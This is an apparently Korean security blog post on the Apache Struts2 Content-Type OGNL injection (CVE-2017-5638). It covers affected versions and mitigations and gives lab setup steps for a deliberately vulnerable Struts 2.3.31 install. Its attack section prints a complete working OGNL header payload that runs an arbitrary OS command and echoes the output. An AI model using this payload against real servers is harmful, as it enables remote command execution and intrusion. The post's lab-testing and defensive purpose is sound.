1. Introduction

1.1. Apache Struts2 란?

- 자바로 웹 어플리케이션을 개발할 수 있는 무료 오픈소스 프레임워크
- 플러그인 지원

1.2. Apache Struts2 취약점이란?

- Struts REST 플러그인을 사용해 XML 페이로드를 처리할 시 HTTP Request Header의 Content-Type을 변조하여 원격코드 실행이 가능한 취약점
        → REST 플러그인 : XStream Handler 유형 필터링 없이 직렬화를 위해 XStream의 인스턴스와 함께 사용
                                        * 참조: https://blog.naver.com/azure0777/221066646741
- REST 통신 과정에서 데이터가 체크 후에 deserialize 되어야 하는데 체크 과정없이 사용되서 발생
- XStream 인스턴스를 이용하여 XML 역질렬화 시 검증이 존재하지 않는 XStreamhandler를 사용해서 발생
        * 직렬화(serialization) : 객체를 직렬화하여 전송가능한 형태로 만드는 것 의미 (객체데이터 -> 연속적인 스트림 데이터로 변형)
        * 역직렬화(deserialization) : 직렬화된 스트림 데이터를 다시 객체화하는 것 의미



1.3. OGNL 표현식이란?

- Object Graph Navigation Language의 줄임말
- 스트럿츠2는 액션이 실행될 때마다 그 액션을 스택 메모리에 저장하여 "밸류 스택"을 만드는데, 밸류 스택의 정보들을 가져오는 태그로서 OGNL을 사용
- 태그 라이브러리를 통해 정보를 저장하고 출력하고 넘기고 가져오고 하는 등의 관계를 표현하는 표현식
(예시)
<s:textfield table="아이디" name="userID" value="%{userID}"/>



2. Apache Struts2 (아파치 스트럿츠 2) 취약점

2.1. 공격 가능 버전

- Apache Struts 2.1.2 ~ 2.3.33
- Apache Struts 2.5 ~ 2.5.12

2.2. 공격 과정

  1. 이전 포스팅의 Struts2 환경 설정 완료 http://securitynote.tistory.com/26?category=789888
  2. 메인 페이지 접속 후 프록시 툴을 이용하여 공격 구문 삽입(OGNL표현식)
            - 중간의 #cmd='whoami'의 whoami부분은 원하는 명령어로 변경해도 무관하다.

Content-Type: %{(#kjy='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}


  1. 공격 성공 확인 (응답값에 입력한 명령어의 결과가 출력됨)


  1. 개발된 툴을 이용하여  쉽게 파일을 업로드하거나 다른 명령어도 수행 가능하다.





2.3. 대응 방안

- 취약점에 영향을 받지 않는 버전으로 업데이트
- 사용하지 않는 Struts REST 플러그인 삭제 
- 서버 페이지 및 JSON만 사용하도록 허용
- OGNL 표현식 사용 금지
- 서버 확장자 제한 및 XML 지원 삭제

1. 기본 환경 설정

  1. VMware에 윈도우 7을 설치한다.
  2. JDK 설치 (Java SE 8u161)
  1. Tomcat 7.0 설치 
  1. Eclipse 설치(J2EE 개발용)
  2. Struts2 다운로드
                → 실제 환경에서는 최신 버전을 설치하는 것이 안전하지만 취약점 테스트용이므로 취약한 버전 다운로드
                → Apache Struts 2.1.2 ~ 2.3.33 / Apache Struts 2.5 ~ 2.5.12
                * 여기서는 Apache Struts 2.3.31으로 테스트 진행

        ※ 각각의 개별 환경 설정에 대해서는 다루지 않음


2. Struts2 설정

 이제, 실제로 아파치 스트럿츠2 공격을 해 볼 환경을 구축할 것이다. 

  1.  이클립스(Eclipse)를 켜고 [Windows] - [Preferences] 


  1. [Server] - [Runtime Environmnet] - [Add] 


  1. 다운로드 받은 톰캣 버전(v7.0) 선택 후 [Next] 


  1. [Browse] 후, 톰캣 다운로드 경로 선택 - [Finish]

  1. [File] - [Import] 

    6.  [Web] - [WAR file] - [Next] 


  1. [Browse] 후, 다운로드 받은 쇼케이스 War 파일 선택

  1. 생성된 프로젝트 오른 클릭 후, [Run As] - [Run On Server]


  1. 접속 가능 확인




'Hacking > Server' 카테고리의 다른 글

[취약점] Apache Struts2 취약점(CVE-2017-5638)  (1) 2018.03.15

+ Recent posts